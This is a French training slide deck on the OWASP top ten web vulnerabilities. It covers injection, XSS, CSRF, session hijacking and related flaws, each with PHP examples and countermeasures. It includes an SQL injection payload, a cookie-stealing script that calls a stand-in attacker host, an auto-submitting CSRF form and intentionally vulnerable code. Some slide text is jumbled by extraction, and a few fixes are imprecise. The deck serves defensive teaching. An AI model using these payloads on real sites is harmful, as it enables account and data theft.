Internet is born at the end of the 80’s and Web at the beginning of the 90’s, giving a passive consultation mode on Web sites to the user. At the beginning of the 21th century, Web 2.0, the Web surfer became active and content creator and applications were deployed on the Web. As all the applications, vulnerabilities exist but they are exposed to a bigger population. They may generate problems such as confidential information steal, or application corruption.
This document deals with the top ten most critical security risks identified by Open Web Application Security Project. Each weakness is explained and illustrated by some examples. Rules are given to protect against attacks. These good practices are completed to propose new habits to the developer and protect his applications.
Conférence "Architecture Android" du 19 Mars 2013 par Mathias Seguy fondateur...
Failles de sécurité
1. Principales failles de sécurité
des applications Web
Principes, parades et bonnes pratiques
de développement
Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND
2. P. 2
1. Introduction
2. Principales failles de sécurité
3. Conclusion
SOMMAIRE
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
3. P. 3
1. Contexte
2. Enjeux
1. INTRODUCTION
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
4. 1.1 Contexte : Fonctionnement d’une application Web
P. 4 Composants serveur
Requête http
EE
xx
tt
HTML + CSS
Utilisateur Serveur http Serveur Serveur de base
d’application de données
Architecture 3-tiers
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
5. 1.1 Contexte : Fonctionnement d’une application Web
P. 5 Composants client
JavaScript Requête http
EE
xx
tt
HTML + CSS XML
Utilisateur Moteur Serveur http
AJAX
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
6. 1.1 Contexte : Fonctionnement d’une application Web
P. 6 Principe d’une application Web
1. Envoie de la saisie d’un formulaire
2. Envoie de la requête correspondante pour traitement
3. Retour du résultat à la page de script
4. Génération et envoie de la page HTML
2) Demande de
1) traitement
EE
xx
tt
4) HTML + CSS 3) Résultat
Utilisateur Serveur http
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
7. 1.2 Enjeux
P. 7 Analyse des besoins de sécurité
Intégrité
Confidentialité
Disponibilité
Risques de sécurité applicatifs
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
8. P. 8
PRINCIPALES FAILLES DE SÉCURITÉ
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
9. 2.1 Injection
P. 9 Victime d’une attaque
Composant de l’architecture de l’application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Formulaire de saisie de l’application
Injection de code malicieux dans le code de l’application
Objectif de l’attaque
Vol d’information
Prise de contrôle du système
Déni de service
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
10. 2.1 Injection
P. 10 Principe d’une attaque
1. Envoi de code malveillant
2. Envoi de la requête correspondante pour traitement
Les étapes suivantes sont fonction de l’attaque employée
3. …
4. …
2) Demande de
1) traitement
4) … 3) …
Attaquant Serveur http
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
11. 2.1 Injection
P. 11 Comportement d’une application vulnérable à l’injection SQL
1. Envoi de la saisie d’un formulaire
2. Envoi de la requête correspondante pour traitement
3. Retour du résultat à la page de script
4. Génération et envoie de SELECT HTML
la page numerocarte FROM comptes
WHERE nom='user4'
AND
motdepasse=PASSWORD('eng111')
1) 2) Requête SQL
4) HTML + CSS 3) Résultat
Utilisateur Serveur http +-------------+
| numerocarte |
+-------------+
| 741852963
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement |
+-------------+
12. 2.1 Injection
P. 12 Vol d’information par injection SQL
1. Envoi de code malicieux « ' OR 1=1 -- ' »
2. Envoi de la requête correspondante à la base de
données
3. Retour du résultat à la page de script
SELECT numerocarte FROM comptes
4. Vol d’information
WHERE nom='' OR 1=1 -- ' '
AND
motdepasse=PASSWORD('eng111')
1) 2) Requête SQL
4) HTML + CSS 3) Résultat
Attaquant Serveur http +-------------+
| numerocarte |
+-------------+
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
| 123456789 |
13. 2.1 Injection
P. 13 Source de vulnérabilité
1. Code de la requête est généré dynamiquement
2. Caractères interprétés (en SQL, en SHELL, …) acceptés
//recuperation des parametres
2 $nom = $_GET['nom'];
$motdepasse = $_GET['motdepasse'];
//generation de la requete
1 $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom' AND
motdepasse = PASSWORD( '$motdepasse' )";
//execution de la requete
$reponse = mysql_query($requeteSQL);
$resultat = mysql_fetch_assoc($reponse);
//affichage du resultat
echo $resultat['numerocarte'];
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
14. 2.1 Injection
P. 14 Solutions
1. Utiliser des requêtes paramétrées
2. Ne pas autoriser les caractères spéciaux
//recuperation des parametres
2 $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES);
$motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES);
//preparation de la requete
$stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE nom =
? AND motdepasse = PASSWORD( ? )");
1 $stmt->bind_param("ss", $nom, $motdepasse);
//execution de la requete
$stmt->execute();
$stmt->bind_result($resultat);
$stmt->fetch();
//affichage du resultat
echo $resultat;
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
15. 2.2 Cross-Site Scripting (XSS)
P. 15 Victime d’une attaque
Utilisateur de l’application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Injection de code actif dans un document HTML
1. XSS réfléchie
2. XSS stockée
Objectif de l’attaque
Vol d’information
Prise de contrôle du système de l’utilisateur
Hameçonnage
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
16. 2.2 Cross-Site Scripting (XSS)
P. 16 Exemple de code actif
document.write('<img
src=http://att.ack.org/steal.php?'+docum
ent.cookie+' width=1>');
Ajoute une balise cachée lors de l’affichage de la page
par le navigateur
<img src=http://att.ack.org/steal.php?
1...f width=1>
L’appel de la page stocke les informations en paramètre
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
17. 2.2 Cross-Site Scripting (XSS)
P. 17 Par réflexion
3) Page de résultat
avec le script
Utilisateur Application Web
1)
C liq
ue 2) Exécution
s ur
4) u du script embarqué
Vo nl
l ien
d’i
nfo
rm
ati
on
Attaquant
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
18. 2.2 Cross-Site Scripting (XSS)
P. 18 Par réflexion
Source de vulnérabilité
1. Caractères HTML/JavaScript acceptés
Résultat de la recherche :
1) <?php echo $_GET['recherche'];?>
2.Accès autorisé aux cookies pour JavaScript
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
19. 2.2 Cross-Site Scripting (XSS)
P. 19 Par réflexion
Solutions
1. Ne pas autoriser les caractères spéciaux
Résultat de la recherche :
<?php
$recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
echo $recherche;
?>
2.Rendre les cookies utilisables uniquement par l’application
Le code JavaScript ne peut pas accéder au cookie
<?php session.cookie_httponly = True ?>
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
20. 2.2 Cross-Site Scripting (XSS)
P. 20 Stocké
2) Demande de la page
3) Page de résultat
avec le script
Utilisateur Application Web
1) Enregistrement
4) du code actif
Vo
l d’i
nfo
rm
ati
on
Attaquant
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
21. 2.2 Cross-Site Scripting (XSS)
P. 21 Stocké
Source de vulnérabilité
Caractères HTML/JavaScript acceptés
<?php
$message=$_GET['message'];
$nom=$_GET['nom'];
$numsujet=$_GET['numsujet'];
//generation de la requete
$requeteSQL = "INSERT INTO messages VALUES (NULL, '$numsujet',
'$nom', '$message')";
?>
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
22. 2.2 Cross-Site Scripting (XSS)
P. 22 Stocké
Solutions
1.Filtrer les entrées
2.Ne pas autoriser les caractères spéciaux
Résultat de la recherche :
<?php
$recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES);
echo $recherche;
?>
3.Rendre les cookies utilisables uniquement par l’application
<?php session.cookie_httponlyne Truepas accéder au cookie
Le code JavaScript = peut ?>
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
23. 2.3 Violation de gestion d’authentification et de Session
P. 23 Victime d’une attaque
Application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Usurpation d’identité
1. Attaque contre le système d’authentification
2. Détournement de session
Objectif de l’attaque
Accès à l’application
Vol d’information
Corruption de données
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
24. 2.3 Violation de gestion d’authentification et de Session
P. 24 Mécanisme de connexion
Rappel : http est un protocole déconnecté
1. Authentification
2) Demande
1) de vérification
EE
xx
tt
4) Envoi id 3) Résultat
de session
Utilisateur Serveur http
2. Travail avec l’identifiant de session
1) Envoi id
de session 2) …
EE
xx
tt
4) Envoi id 3) …
de session
Utilisateur Serveur http
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
25. 2.3 Violation de gestion d’authentification et de Session
P. 25 Attaque contre le système d’authentification
Sources de vulnérabilité
1.Force brute
2.Comptes par défaut
3.Système de réinitialisation de mot de passe
4.Système de création de comptes par soi-même
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
26. 2.3 Violation de gestion d’authentification et de Session
P. 26 Attaque contre le système d’authentification
Solutions
1.Force brute
1. Mots de passe forts
2. Message d’erreur générique
3. Verrouillage de compte après 5 erreurs consécutives
4. Utilisation de captcha
2.Supprimer ou désactiver les comptes par défaut
3.Système de réinitialisation de mot de passe
Envoi d’un nouveau mot de passe sur média préconfiguré
1.Système de création de comptes par soi-même
Ne pas autoriser les identifiants proches
Générer l’identifiant de connexion
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
27. 2.3 Violation de gestion d’authentification et de Session
P. 27 Détournement de session
Méthodes d’attaque
1.Fixation
2.Vol
3.Prédiction
4.Force brute 1) Envoi id
de session 2) …
EE
xx
tt
4) Envoi id 3) …
de session
Utilisateur Serveur http
5) Envoi id de session
Attaquant
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
28. 2.3 Violation de gestion d’authentification et de Session
P. 28 Détournement de session
Solutions
1.Utiliser un moyen d’identification secondaire
2.Détruire les sessions
3.Ne pas soumettre les données par GET
4.Chiffrer les flux de transmission des identifiants
5.Redemander le mot de passe lors d’un changement de
niveau de privilège
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
29. 2.4 Référence directe non sécurisée à un objet
P. 29 Victime d’une attaque
Application vulnérable ou utilisateur
Attaquant
Extérieur au système ou utilisateur
Moyens utilisés
Injection de données frauduleuses
Objectif de l’attaque
Attaque par injection
Attaque XSS
Accès et/ou modification de données sans autorisation
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
30. 2.4 Référence directe non sécurisée à un objet
P. 30 Source de vulnérabilité
Valeurs de paramètre non vérifiées
//recuperation des parametres
$nom = $_GET['proprietaire'];
//generation de la requete
$requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom'";
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
31. 2.4 Référence directe non sécurisée à un objet
P. 31 Solutions
1. Vérifier toutes les données avant utilisation (get, post,
cookie)
1. Type attendu
2. Nombre d’arguments attendus
3. Valeurs limitées
4. Taille de la donnée
5. Valeur nulle autorisée?
6. Valeur suit une expression régulière
2. Protéger les sorties vers le client
• Coder les caractères spéciaux
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
32. 2.5 Falsification de requêtes inter-site (CSRF)
P. 32 Victime d’une attaque
Application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Requête http d’attaque envoyée par un utilisateur
1. CSRF réfléchie
2. CSRF stockée
Objectif de l’attaque
Vol d’information
Corruption de données
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
33. 2.5 Falsification de requêtes inter-site (CSRF)
P. 33 Exemple de requête d’attaque
La requête simule une action de l’utilisateur
L’appel de la page exécute une fonctionnalité de
l’application
<form method="GET" id="reflected_CSRF" name="reflected_CSRF"
action="add_message.php">
<input type=hidden name="numsujet" value="6">
<input type=hidden name="nom" value="CSRF">
<input type=hidden name="message" value="action frauduleuse">
</form>
<script>document.reflected_CSRF.submit()</script>
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
34. 2.5 Falsification de requêtes inter-site (CSRF)
P. 34 Par réflexion
1) Connexion
Utilisateur Application Web
2)
C liq
ue 3) Exécution
s ur
u du code
nl
ien
Attaquant
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
35. 2.5 Falsification de requêtes inter-site (CSRF)
P. 35 Stocké
2) Affichage de la page
3) Réponse http
4) Exécution du code
Utilisateur Application Web
1) Enregistrement du script
Attaquant
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
36. 2.5 Falsification de requêtes inter-site (CSRF)
P. 36 Source de vulnérabilité
Utilisation de la méthode GET
Solutions
1. Utilisation de la méthode POST uniquement
2. Redemander le mot de passe lors d’un changement de
niveau de privilège
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
37. 2.6 Mauvaise configuration de sécurité
P. 37 Victime d’une attaque
Application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Faille de sécurité connues des composants
Objectif de l’attaque
Déni de service
Prise de contrôle du système
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
38. 2.6 Mauvaise configuration de sécurité
P. 38 Source de vulnérabilité
Vulnérabilités laissées ouvertes par les composants de
l’architecture
Solutions
1. Désactiver les options inutiles
2. Mettre à jour les composants
3. Installer les composants en version anglaise
4. Supprimer ou désactiver les comptes par défaut
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
39. 2.7 Stockage de données cryptographiques non sécurisé
P. 39 Victime d’une attaque
Application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Accès au système de stockage
Objectif de l’attaque
Vol d’information confidentielles
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
40. 2.7 Stockage de données cryptographiques non sécurisé
P. 40 Source de vulnérabilité
Information confidentielle visible en clair
Solutions
1. Chiffrer tous les supports de stockage d’information
Bases de données
Fichiers
Sauvegardes
1. Utiliser des algorithmes de chiffrement forts
Exemple : AES 256, RSA
1. Utiliser des algorithmes de hachage forts
Exemple : SHA 256
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
41. 2.8 Défaillance dans la restriction des accès à une url
P. 41 Victime d’une attaque
Application vulnérable
Attaquant
Utilisateur de l’application
Moyens utilisés
Saisie d’adresse non autorisée
Objectif de l’attaque
Accès à des fonctionnalités non autorisées
Accès à des fichiers du serveur http
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
42. 2.8 Défaillance dans la restriction des accès à une url
P. 42 Source de vulnérabilité
Manque de contrôle lors de l’accès aux fonctionnalités
Fonctionnalités indexées par les moteurs de recherche
Solutions
1. Tous les répertoires doivent contenir un fichier
index.html
2. Le serveur http ne doit pas afficher le contenu d’un
répertoire
3. Les fonctionnalités doivent vérifier les droits d’accès de
l’utilisateur avant affichage
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
43. 2.9 Protection insuffisante de la couche transport
P. 43 Victime d’une attaque
Application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Accès au système de transmission
Objectif de l’attaque
Vol d’information confidentielles
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
44. 2.9 Protection insuffisante de la couche transport
P. 44 Les protocoles de communication sur Internet
Pile générique pour Pile générique pour
Internet Internet
Application Application
Transport Transport
Internet Internet
Réseau Réseau
Transfert de données à travers la pile de protocoles d’Internet
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
45. 2.9 Protection insuffisante de la couche transport
P. 45 Source de vulnérabilité
Accessibilité des moyens de transmission
Solution
Chiffrer toutes les pages de l’application
Si transmission de données confidentielles (dont informations
de connexion)
Si transmission des informations de session
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
46. 2.10 Redirection et renvois non validés
P. 46 Victime d’une attaque
Utilisateur de l’application vulnérable
Attaquant
Extérieur au système
Moyens utilisés
Page de redirection
Objectif de l’attaque
Hameçonnage
Attaque CSRF par réflexion
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
47. 2.10 Redirection et renvois non validés
P. 47 Source de vulnérabilité
Adresse de destination non vérifiée
Solutions
Renvoi uniquement vers des pages locales
Redirection assurée par le serveur http en cas de
déplacement d’une page ou du site
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
48. P. 48
1. Web 2.0 : Constats
2. Web 2.0 : Perspectives
3. CONCLUSION
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
49. 3.1 Web 2.0 : Constats
P. 49 Internet est omniprésent
Guerre des forfaits mobiles pour Internet
L’accès à Internet est perçu comme un des droits de
l’Homme
Vinton G. CERF dans le New York Times paru le 5 janvier
2012
Extrait de : “Internet Access Is Not a Human Right”
“Even the United Nations report, which was widely hailed as
declaring Internet access a human right, acknowledged that
the Internet was valuable as a means to an end, not as an
end in itself”.
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
50. 3.1 Web 2.0 : Constats
P. 50 Les risques ont peu évolué depuis 2004
7 problèmes de 2010 déjà présents en 2004
Risques 2004 2007 2010
Injection de commandes A6 A2 A1
Failles Cross Site Scripting (XSS) A4 A1 A2
Violation de Gestion d’Authentification et de Session A3 A7 A3
Référence directe à un objet non sécurisée A1 A4 A4
Cross Site Request Forgery (CSRF) A5 A5
Gestion de configuration non sécurisée A10 A6
Stockage non sécurisé A8 A8 A7
Manque de restriction d’accès URL A2 A10 A8
Violation de Contrôle d’Accès
Communications non sécurisées A9 A9
Redirection et renvoi non validés A10
Débordement de tampon A5
Mauvaise gestion des erreurs A7 A6
Déni de Service A9
Exécution de fichier malicieux A3
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
51. 3.1 Web 2.0 : Constats
P. 51 Ajax et la sécurité
Ajout de nouvelles failles
Mode asynchrone rend les attaques moins visibles
Sécuriser une application Web 2.0
1. Sécuriser le Web 1.0
2. Sécuriser les appels Ajax
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
52. 3.2 Web 2.0 : Perspectives
P. 52 Faut-il abandonner Ajax ?
HTML 5 sera-t-il la solution pour faciliter et standardiser le
développement d’applications Web 2.0 ?
Les bonnes pratiques de sécurité vont devoir évoluer pour
prendre en compte les applications pour smartphone
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
53. P. 53
Contact : Guillaume HARRY
MERCI DE VOTRE ATTENTION
Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
Notes de l'éditeur
La communication entre le navigateur et le serveur se fait en 3 temps : Le navigateur effectue une requête HTTP Le serveur traite la requête le serveur. C’est-à-dire qu’il la décode, localise fichier demandé et crée une réponse au Le serveur une réponse HTTP Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Il y a 3 méthodes principalement utilisées parmi les 5 disponibles : GET : Requête de la ressource située à l'URL spécifiée HEAD : Requête de l'en-tête de la ressource située à l'URL spécifiée POST : Envoi de données au programme situé à l'URL spécifiée (PUT pour l’envoi de données à l'URL spécifiée et DELETE Suppression de la ressource située à l'URL spécifiée) Une réponse HTTP est un ensemble de lignes envoyées au navigateur par le serveur. Le corps de la réponse contient le document demandé, le plus souvent au format HTML ou CSS. Le HTML (« HyperText Mark-Up Language ») est un langage dit de « marquage » (de « structuration » ou de « balisage ») dont le rôle est de formaliser l'écriture d'un document avec des balises de formatage. Les spécifications de HTML 4.0 ont été publiées le 18 décembre 1997. La version HTML 4.01, apparue le 24 décembre 1999 apporte quelques modifications mineures au HTML 4.0. On peut donc constater que les standards du Web n’ont pas évolué en 10 ans. Le principe des feuilles de style consiste à regrouper dans un même document des caractéristiques de mise en forme associées à des groupes d'éléments. Grâce aux feuilles de style, lorsque la charte graphique d'un site composé de plusieurs centaines de pages web doit être changée, il suffit de modifier la définition des feuilles de style en un seul endroit pour changer l'apparence du site tout entier ! Depuis le 12 mai 1998, la norme CSS 2.0 est le standard en vigueur. Le couple HTTP/HTML+CSS ne permet que de faire de l’affichage statique. On ne peut pas parler d’application Web dans cas, car il n’y a pas d’interaction avec l’utilisateur. Il s’agit uniquement d’un site Web. La première réponse au besoin de créer une page personnalisée en fonction du choix ou de la saisie de l’utilisateur fut de créer une extension au serveur web. Une extension permet de faire appel à un script ou à serveur d’application. Un script CGI (Common Gateway Interface, traduisez interface de passerelle commune) est un programme exécuté par le serveur web, permettant d'envoyer au navigateur de l'internaute un code HTML créé automatiquement par le serveur (basé par exemple sur une autre application, telle qu'un système de gestion de base de données, d'où le nom de passerelle). Un programme CGI peut être écrit dans à peu près n'importe quel langage de programmation pourvu que celui-ci soit : capable de lire le flux de données d'entrée ; capable de traiter des chaînes de caractères ; capable d'écrire sur le flux standard de sortie ; exécutable ou interprétable par le serveur web. Les langages de programmation les plus utilisés pour l'écriture des CGI sont les suivants : Le langage Perl, particulièrement adapté à la manipulation de chaînes de caractères ; Les langages C et C++ ; Le langage Java PHP est un langage de script interprété exécuté du côté serveur. Il a été mis au point au début d'automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l'accès à une base de données par l'intermédiaire de requêtes SQL Ses principaux atouts sont : Une grande communauté de développeurs partageant des centaines de milliers d'exemples de script PHP ; La gratuité et la disponibilité du code source (PHP est distribué sous licence GNU GPL) ; La simplicité d'écriture de scripts ; La possibilité d'inclure le script PHP au sein d'une page HTML (contrairement aux scripts CGi, pour lesquels il faut écrire des lignes de code pour afficher chaque ligne en langage HTML) ; La simplicité d'interfaçage avec des bases de données (de nombreux SGBD sont supportés, mais le plus utilisé avec ce langage est MySQL , un SGBD gratuit disponible sur de nombreuses plateformes : Unix, Linux, Windows, MacOs X, Solaris, etc...) ; L'intégration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.). ASP ( Active Server Pages ) est un standard mis au point par Microsoft en 1996 permettant de développer des applications. ASP est en réalité une technologie, ou plus exactement un environnement de programmation, permettant de représenter sous forme d'objets les interactions entre le navigateur du client, le serveur web, ainsi que les connexions à des bases de. Les servlets sont des applications Java fonctionnant du côté serveur au même titre que les CGI et les langages de script côté serveur tels que ASP ou bien PHP. Les servlets s'exécutent dans un moteur de servlet utilisé pour établir le lien entre la servlet et le serveur web. Enfin une servlet étant une application Java, peut utiliser toutes les API Java afin de communiquer avec des applications extérieures, se connecter à des bases de données, accéder aux entrée-sorties (fichiers par exemple), ...
La communication entre le navigateur et le serveur se fait en 3 temps : Le navigateur effectue une requête HTTP Le serveur traite la requête le serveur. C’est-à-dire qu’il la décode, localise fichier demandé et crée une réponse au Le serveur une réponse HTTP Une requête HTTP est un ensemble de lignes envoyé au serveur par le navigateur. Il y a 3 méthodes principalement utilisées parmi les 5 disponibles : GET : Requête de la ressource située à l'URL spécifiée HEAD : Requête de l'en-tête de la ressource située à l'URL spécifiée POST : Envoi de données au programme situé à l'URL spécifiée (PUT pour l’envoi de données à l'URL spécifiée et DELETE Suppression de la ressource située à l'URL spécifiée) Une réponse HTTP est un ensemble de lignes envoyées au navigateur par le serveur. Le corps de la réponse contient le document demandé, le plus souvent au format HTML ou CSS. Le HTML (« HyperText Mark-Up Language ») est un langage dit de « marquage » (de « structuration » ou de « balisage ») dont le rôle est de formaliser l'écriture d'un document avec des balises de formatage. Les spécifications de HTML 4.0 ont été publiées le 18 décembre 1997. La version HTML 4.01, apparue le 24 décembre 1999 apporte quelques modifications mineures au HTML 4.0. On peut donc constater que les standards du Web n’ont pas évolué en 10 ans. Le principe des feuilles de style consiste à regrouper dans un même document des caractéristiques de mise en forme associées à des groupes d'éléments. Grâce aux feuilles de style, lorsque la charte graphique d'un site composé de plusieurs centaines de pages web doit être changée, il suffit de modifier la définition des feuilles de style en un seul endroit pour changer l'apparence du site tout entier ! Depuis le 12 mai 1998, la norme CSS 2.0 est le standard en vigueur. Le couple HTTP/HTML+CSS ne permet que de faire de l’affichage statique. On ne peut pas parler d’application Web dans cas, car il n’y a pas d’interaction avec l’utilisateur. Il s’agit uniquement d’un site Web. La première réponse au besoin de créer une page personnalisée en fonction du choix ou de la saisie de l’utilisateur fut de créer une extension au serveur web. Une extension permet de faire appel à un script ou à serveur d’application. Un script CGI (Common Gateway Interface, traduisez interface de passerelle commune) est un programme exécuté par le serveur web, permettant d'envoyer au navigateur de l'internaute un code HTML créé automatiquement par le serveur (basé par exemple sur une autre application, telle qu'un système de gestion de base de données, d'où le nom de passerelle). Un programme CGI peut être écrit dans à peu près n'importe quel langage de programmation pourvu que celui-ci soit : capable de lire le flux de données d'entrée ; capable de traiter des chaînes de caractères ; capable d'écrire sur le flux standard de sortie ; exécutable ou interprétable par le serveur web. Les langages de programmation les plus utilisés pour l'écriture des CGI sont les suivants : Le langage Perl, particulièrement adapté à la manipulation de chaînes de caractères ; Les langages C et C++ ; Le langage Java PHP est un langage de script interprété exécuté du côté serveur. Il a été mis au point au début d'automne 1994 par Rasmus Lerdorf. Ce langage de script lui permettait de conserver la trace des utilisateurs venant consulter son CV sur son site, grâce à l'accès à une base de données par l'intermédiaire de requêtes SQL Ses principaux atouts sont : Une grande communauté de développeurs partageant des centaines de milliers d'exemples de script PHP ; La gratuité et la disponibilité du code source (PHP est distribué sous licence GNU GPL) ; La simplicité d'écriture de scripts ; La possibilité d'inclure le script PHP au sein d'une page HTML (contrairement aux scripts CGi, pour lesquels il faut écrire des lignes de code pour afficher chaque ligne en langage HTML) ; La simplicité d'interfaçage avec des bases de données (de nombreux SGBD sont supportés, mais le plus utilisé avec ce langage est MySQL , un SGBD gratuit disponible sur de nombreuses plateformes : Unix, Linux, Windows, MacOs X, Solaris, etc...) ; L'intégration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.). ASP ( Active Server Pages ) est un standard mis au point par Microsoft en 1996 permettant de développer des applications. ASP est en réalité une technologie, ou plus exactement un environnement de programmation, permettant de représenter sous forme d'objets les interactions entre le navigateur du client, le serveur web, ainsi que les connexions à des bases de. Les servlets sont des applications Java fonctionnant du côté serveur au même titre que les CGI et les langages de script côté serveur tels que ASP ou bien PHP. Les servlets s'exécutent dans un moteur de servlet utilisé pour établir le lien entre la servlet et le serveur web. Enfin une servlet étant une application Java, peut utiliser toutes les API Java afin de communiquer avec des applications extérieures, se connecter à des bases de données, accéder aux entrée-sorties (fichiers par exemple), ...
Les applications Web sont composées d’un ou plusieurs scripts qui reçoivent des données envoyées par un internaute, les traitent et produisent une réponse spécifique à la demande de l’internaute, les traitent et produisent une réponse spécifique à la demande de l’internaute. Ces applications sont courantes sur Internet : systèmes de réservations de salles, systèmes d’inscriptions à des conférences, forums, etc. Une application Web est un système d’information. Comme tout système d’information il doit assurer : - l’intégrité, - la confidentialité, et la disponibilité des données. Les données reçues peuvent être utilisées directement ou stockées dans un fichier, dans des variables de session ou dans une base de données.
Une application Web est un système d’information. Comme tout système d’information il doit assurer : - l’intégrité, - la confidentialité, - la disponibilité des données. Les données reçues peuvent être utilisées directement ou stockées dans un fichier, dans des variables de session ou dans une base de données. Toute donnée provenant d’une source extérieure peut être utilisée pour attaquer le système d’information Ces fonctions font l’objet de menaces particulières et peuvent présenter des vulnérabilités susceptibles d’être exploitées par des attaquants motivés ou non. Toute donnée provenant d’une source extérieure peut être utilisée pour attaquer le système d’information Ces applications sont la cible d’attaques diverses : injection de code, d’effacement, détournement de session, etc. Ces attaques visent : - l’intégrité des données (modification des données publiées sur le site) ; - la confidentialité des données (obtention de données sans autorisation) ; - la disponibilité des données (déni de service) ; - la prise de contrôle du serveur web pour attaquer d’autres sites ou pour installer des services (serveur ftp pirate, …).
Sécurité des applications Web – PHP/MySQL
Les attaques d’injection consistent à injecter un code malicieux qui sera traité par un autre système ou interprété par l’application courante
. Ces attaquent incluent les: - injections SQL ; - injections LDAP ; - injections XPath ; - injections SSI ; - injections de code ou de commandes (OS commanding) ; - null injection \\0 ; - buffer overflow (injection de code dans l’application par débordement de tampon).
De nombreux sites créent dynamiquement des parties de la requête SQL à partir de données stockées ou saisies. Si les données ne sont pas filtrées un pirate peut réaliser une injection SQL. Cette attaque consiste à modifier une requête SQL en manipulant les entrées de l’application.
L’attaque par injection SQL peut viser : - la disponibilité (charge maximale du serveur de base de données, modification du mot de passe d’un utilisateur ou de l’administrateur de l’application web dans un UPDATE) ; - la confidentialité : obtention d’informations stockées dans la base, obtention d’un accès à un intranet sans autorisation ; - l’intégrité des données (modification ou suppression des données). Cet exemple concerne la sélection des données (SELECT) mais les injections peuvent être réalisées avec UPDATE, INSERT et DELETE.
